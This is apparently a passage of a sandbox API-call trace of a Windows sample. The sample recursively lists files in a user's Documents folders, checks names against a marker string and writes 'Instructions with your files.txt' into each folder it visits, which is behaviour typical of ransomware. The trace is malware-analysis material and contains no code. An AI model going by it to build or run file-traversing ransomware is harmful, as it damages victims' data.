[0131.590] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f8565f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f8565f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.590] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\..") returned 46
[0131.590] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.590] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62cb3ab0, ftCreationTime.dwHighDateTime=0x1d58e0e, ftLastAccessTime.dwLowDateTime=0x9be7a910, ftLastAccessTime.dwHighDateTime=0x1d5a258, ftLastWriteTime.dwLowDateTime=0x9be7a910, ftLastWriteTime.dwHighDateTime=0x1d5a258, nFileSizeHigh=0x0, nFileSizeLow=0x12b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="-_Jve.pptx", cAlternateFileName="-_JVE~1.PPT")) returned 1
[0131.590] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-_Jve.pptx") returned 54
[0131.590] StrStrIW (lpFirst="-_Jve.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.590] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865d7900, ftCreationTime.dwHighDateTime=0x1d54a8b, ftLastAccessTime.dwLowDateTime=0x65fd08e0, ftLastAccessTime.dwHighDateTime=0x1d57dd7, ftLastWriteTime.dwLowDateTime=0x65fd08e0, ftLastWriteTime.dwHighDateTime=0x1d57dd7, nFileSizeHigh=0x0, nFileSizeLow=0x7ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2xfvO6jW8uQv3J.pptx", cAlternateFileName="2XFVO6~1.PPT")) returned 1
[0131.590] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2xfvO6jW8uQv3J.pptx") returned 63
[0131.590] StrStrIW (lpFirst="2xfvO6jW8uQv3J.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.590] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4b7900, ftCreationTime.dwHighDateTime=0x1d5bbe5, ftLastAccessTime.dwLowDateTime=0x197233b0, ftLastAccessTime.dwHighDateTime=0x1d5b973, ftLastWriteTime.dwLowDateTime=0x197233b0, ftLastWriteTime.dwHighDateTime=0x1d5b973, nFileSizeHigh=0x0, nFileSizeLow=0xe230, dwReserved0=0x0, dwReserved1=0x0, cFileName="4i0jhZDp4K_BLi4pjG.pptx", cAlternateFileName="4I0JHZ~1.PPT")) returned 1
[0131.590] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4i0jhZDp4K_BLi4pjG.pptx") returned 67
[0131.590] StrStrIW (lpFirst="4i0jhZDp4K_BLi4pjG.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.590] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9728d0f0, ftCreationTime.dwHighDateTime=0x1d5bdc1, ftLastAccessTime.dwLowDateTime=0x515262b0, ftLastAccessTime.dwHighDateTime=0x1d5b72e, ftLastWriteTime.dwLowDateTime=0x515262b0, ftLastWriteTime.dwHighDateTime=0x1d5b72e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="68-0KWlXR", cAlternateFileName="68-0KW~1")) returned 1
[0131.590] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR") returned 53
[0131.590] GetProcessHeap () returned 0x810000
[0131.591] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.591] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\*") returned 55
[0131.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9728d0f0, ftCreationTime.dwHighDateTime=0x1d5bdc1, ftLastAccessTime.dwLowDateTime=0x515262b0, ftLastAccessTime.dwHighDateTime=0x1d5b72e, ftLastWriteTime.dwLowDateTime=0x515262b0, ftLastWriteTime.dwHighDateTime=0x1d5b72e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.593] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\.") returned 55
[0131.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9728d0f0, ftCreationTime.dwHighDateTime=0x1d5bdc1, ftLastAccessTime.dwLowDateTime=0x515262b0, ftLastAccessTime.dwHighDateTime=0x1d5b72e, ftLastWriteTime.dwLowDateTime=0x515262b0, ftLastWriteTime.dwHighDateTime=0x1d5b72e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.593] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\..") returned 56
[0131.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbed539b0, ftCreationTime.dwHighDateTime=0x1d5bf0e, ftLastAccessTime.dwLowDateTime=0x171dca70, ftLastAccessTime.dwHighDateTime=0x1d5b815, ftLastWriteTime.dwLowDateTime=0x171dca70, ftLastWriteTime.dwHighDateTime=0x1d5b815, nFileSizeHigh=0x0, nFileSizeLow=0x2be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9 ekIZjGZHUI_.pps", cAlternateFileName="9EKIZJ~1.PPS")) returned 1
[0131.593] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\9 ekIZjGZHUI_.pps") returned 71
[0131.593] StrStrIW (lpFirst="9 ekIZjGZHUI_.pps", lpSrch="SDfghjkl") returned 0x0
[0131.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x891f91a0, ftCreationTime.dwHighDateTime=0x1d5c35d, ftLastAccessTime.dwLowDateTime=0x3e9d1b0, ftLastAccessTime.dwHighDateTime=0x1d5b874, ftLastWriteTime.dwLowDateTime=0x3e9d1b0, ftLastWriteTime.dwHighDateTime=0x1d5b874, nFileSizeHigh=0x0, nFileSizeLow=0xc9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AWk2onrg.ppt", cAlternateFileName="")) returned 1
[0131.593] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\AWk2onrg.ppt") returned 66
[0131.593] StrStrIW (lpFirst="AWk2onrg.ppt", lpSrch="SDfghjkl") returned 0x0
[0131.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x524da530, ftCreationTime.dwHighDateTime=0x1d5b5c6, ftLastAccessTime.dwLowDateTime=0x56026240, ftLastAccessTime.dwHighDateTime=0x1d5bd39, ftLastWriteTime.dwLowDateTime=0x56026240, ftLastWriteTime.dwHighDateTime=0x1d5bd39, nFileSizeHigh=0x0, nFileSizeLow=0x10385, dwReserved0=0x0, dwReserved1=0x0, cFileName="c_0xcds.ots", cAlternateFileName="")) returned 1
[0131.593] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\c_0xcds.ots") returned 65
[0131.593] StrStrIW (lpFirst="c_0xcds.ots", lpSrch="SDfghjkl") returned 0x0
[0131.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8128a30, ftCreationTime.dwHighDateTime=0x1d5b6bb, ftLastAccessTime.dwLowDateTime=0x19d5ada0, ftLastAccessTime.dwHighDateTime=0x1d5c37d, ftLastWriteTime.dwLowDateTime=0x19d5ada0, ftLastWriteTime.dwHighDateTime=0x1d5c37d, nFileSizeHigh=0x0, nFileSizeLow=0x4df, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeZEZVSu.xlsx", cAlternateFileName="GEZEZV~1.XLS")) returned 1
[0131.593] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\GeZEZVSu.xlsx") returned 67
[0131.593] StrStrIW (lpFirst="GeZEZVSu.xlsx", lpSrch="SDfghjkl") returned 0x0
[0131.593] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3a68600, ftCreationTime.dwHighDateTime=0x1d5be4c, ftLastAccessTime.dwLowDateTime=0x4a6d0110, ftLastAccessTime.dwHighDateTime=0x1d5c3f1, ftLastWriteTime.dwLowDateTime=0x4a6d0110, ftLastWriteTime.dwHighDateTime=0x1d5c3f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOF6u9FOMAcwWqmn", cAlternateFileName="JOF6U9~1")) returned 1
[0131.593] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn") returned 70
[0131.593] GetProcessHeap () returned 0x810000
[0131.593] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.593] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\*") returned 72
[0131.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3a68600, ftCreationTime.dwHighDateTime=0x1d5be4c, ftLastAccessTime.dwLowDateTime=0x4a6d0110, ftLastAccessTime.dwHighDateTime=0x1d5c3f1, ftLastWriteTime.dwLowDateTime=0x4a6d0110, ftLastWriteTime.dwHighDateTime=0x1d5c3f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.595] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\.") returned 72
[0131.595] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3a68600, ftCreationTime.dwHighDateTime=0x1d5be4c, ftLastAccessTime.dwLowDateTime=0x4a6d0110, ftLastAccessTime.dwHighDateTime=0x1d5c3f1, ftLastWriteTime.dwLowDateTime=0x4a6d0110, ftLastWriteTime.dwHighDateTime=0x1d5c3f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.595] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\..") returned 73
[0131.595] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715140, ftCreationTime.dwHighDateTime=0x1d5c1f0, ftLastAccessTime.dwLowDateTime=0xc7143270, ftLastAccessTime.dwHighDateTime=0x1d5b7de, ftLastWriteTime.dwLowDateTime=0xc7143270, ftLastWriteTime.dwHighDateTime=0x1d5b7de, nFileSizeHigh=0x0, nFileSizeLow=0x21aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="7N5XTJ8lxPtaKcOL5.xls", cAlternateFileName="7N5XTJ~1.XLS")) returned 1
[0131.596] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\7N5XTJ8lxPtaKcOL5.xls") returned 92
[0131.596] StrStrIW (lpFirst="7N5XTJ8lxPtaKcOL5.xls", lpSrch="SDfghjkl") returned 0x0
[0131.596] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e446c0, ftCreationTime.dwHighDateTime=0x1d5b9f8, ftLastAccessTime.dwLowDateTime=0x73bf3850, ftLastAccessTime.dwHighDateTime=0x1d5c061, ftLastWriteTime.dwLowDateTime=0x73bf3850, ftLastWriteTime.dwHighDateTime=0x1d5c061, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GEmiduPp7Po39", cAlternateFileName="GEMIDU~1")) returned 1
[0131.596] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39") returned 84
[0131.596] GetProcessHeap () returned 0x810000
[0131.596] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.597] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\*") returned 86
[0131.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e446c0, ftCreationTime.dwHighDateTime=0x1d5b9f8, ftLastAccessTime.dwLowDateTime=0x73bf3850, ftLastAccessTime.dwHighDateTime=0x1d5c061, ftLastWriteTime.dwLowDateTime=0x73bf3850, ftLastWriteTime.dwHighDateTime=0x1d5c061, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\.") returned 86
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e446c0, ftCreationTime.dwHighDateTime=0x1d5b9f8, ftLastAccessTime.dwLowDateTime=0x73bf3850, ftLastAccessTime.dwHighDateTime=0x1d5c061, ftLastWriteTime.dwLowDateTime=0x73bf3850, ftLastWriteTime.dwHighDateTime=0x1d5c061, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\..") returned 87
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f576500, ftCreationTime.dwHighDateTime=0x1d5b725, ftLastAccessTime.dwLowDateTime=0x757cd540, ftLastAccessTime.dwHighDateTime=0x1d5ba6b, ftLastWriteTime.dwLowDateTime=0x757cd540, ftLastWriteTime.dwHighDateTime=0x1d5ba6b, nFileSizeHigh=0x0, nFileSizeLow=0x145a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMuLTZV-.odt", cAlternateFileName="")) returned 1
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\CMuLTZV-.odt") returned 97
[0131.599] StrStrIW (lpFirst="CMuLTZV-.odt", lpSrch="SDfghjkl") returned 0x0
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b17b330, ftCreationTime.dwHighDateTime=0x1d5b897, ftLastAccessTime.dwLowDateTime=0x19a09380, ftLastAccessTime.dwHighDateTime=0x1d5c0c2, ftLastWriteTime.dwLowDateTime=0x19a09380, ftLastWriteTime.dwHighDateTime=0x1d5c0c2, nFileSizeHigh=0x0, nFileSizeLow=0x472e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dX5fgSfHcphaR.csv", cAlternateFileName="DX5FGS~1.CSV")) returned 1
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\dX5fgSfHcphaR.csv") returned 102
[0131.599] StrStrIW (lpFirst="dX5fgSfHcphaR.csv", lpSrch="SDfghjkl") returned 0x0
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b16c2f0, ftCreationTime.dwHighDateTime=0x1d5ba5e, ftLastAccessTime.dwLowDateTime=0xbdcfd490, ftLastAccessTime.dwHighDateTime=0x1d5bff3, ftLastWriteTime.dwLowDateTime=0xbdcfd490, ftLastWriteTime.dwHighDateTime=0x1d5bff3, nFileSizeHigh=0x0, nFileSizeLow=0x13e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="g6-rgH6XMP18tavuD.doc", cAlternateFileName="G6-RGH~1.DOC")) returned 1
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\g6-rgH6XMP18tavuD.doc") returned 106
[0131.599] StrStrIW (lpFirst="g6-rgH6XMP18tavuD.doc", lpSrch="SDfghjkl") returned 0x0
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389a630, ftCreationTime.dwHighDateTime=0x1d5b783, ftLastAccessTime.dwLowDateTime=0x1faff990, ftLastAccessTime.dwHighDateTime=0x1d5bd99, ftLastWriteTime.dwLowDateTime=0x1faff990, ftLastWriteTime.dwHighDateTime=0x1d5bd99, nFileSizeHigh=0x0, nFileSizeLow=0x5464, dwReserved0=0x0, dwReserved1=0x0, cFileName="N9kb.rtf", cAlternateFileName="")) returned 1
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\N9kb.rtf") returned 93
[0131.599] StrStrIW (lpFirst="N9kb.rtf", lpSrch="SDfghjkl") returned 0x0
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb150d20, ftCreationTime.dwHighDateTime=0x1d5bf24, ftLastAccessTime.dwLowDateTime=0x31d50c80, ftLastAccessTime.dwHighDateTime=0x1d5bebd, ftLastWriteTime.dwLowDateTime=0x31d50c80, ftLastWriteTime.dwHighDateTime=0x1d5bebd, nFileSizeHigh=0x0, nFileSizeLow=0x1be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETeDouK7kyeoNlRMNI.doc", cAlternateFileName="NETEDO~1.DOC")) returned 1
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\NETeDouK7kyeoNlRMNI.doc") returned 108
[0131.599] StrStrIW (lpFirst="NETeDouK7kyeoNlRMNI.doc", lpSrch="SDfghjkl") returned 0x0
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54f97b0, ftCreationTime.dwHighDateTime=0x1d5ba52, ftLastAccessTime.dwLowDateTime=0x989fc910, ftLastAccessTime.dwHighDateTime=0x1d5c26d, ftLastWriteTime.dwLowDateTime=0x989fc910, ftLastWriteTime.dwHighDateTime=0x1d5c26d, nFileSizeHigh=0x0, nFileSizeLow=0x18215, dwReserved0=0x0, dwReserved1=0x0, cFileName="vJJM-jfv2U x1Yt-vY.odp", cAlternateFileName="VJJM-J~1.ODP")) returned 1
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\vJJM-jfv2U x1Yt-vY.odp") returned 107
[0131.599] StrStrIW (lpFirst="vJJM-jfv2U x1Yt-vY.odp", lpSrch="SDfghjkl") returned 0x0
[0131.599] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54f97b0, ftCreationTime.dwHighDateTime=0x1d5ba52, ftLastAccessTime.dwLowDateTime=0x989fc910, ftLastAccessTime.dwHighDateTime=0x1d5c26d, ftLastWriteTime.dwLowDateTime=0x989fc910, ftLastWriteTime.dwHighDateTime=0x1d5c26d, nFileSizeHigh=0x0, nFileSizeLow=0x18215, dwReserved0=0x0, dwReserved1=0x0, cFileName="vJJM-jfv2U x1Yt-vY.odp", cAlternateFileName="VJJM-J~1.ODP")) returned 0
[0131.599] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\Instructions with your files.txt") returned 117
[0131.600] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\GEmiduPp7Po39\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\68-0kwlxr\\jof6u9fomacwwqmn\\gemidupp7po39\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.600] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.601] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.601] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.601] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.601] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.601] CloseHandle (hObject=0x118) returned 1
[0131.601] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.601] GetProcessHeap () returned 0x810000
[0131.601] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.601] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e161b60, ftCreationTime.dwHighDateTime=0x1d5c060, ftLastAccessTime.dwLowDateTime=0x979ce3e0, ftLastAccessTime.dwHighDateTime=0x1d5be8f, ftLastWriteTime.dwLowDateTime=0x979ce3e0, ftLastWriteTime.dwHighDateTime=0x1d5be8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WGTaom1UYyLL_4FYAvS", cAlternateFileName="WGTAOM~1")) returned 1
[0131.601] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS") returned 90
[0131.601] GetProcessHeap () returned 0x810000
[0131.601] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
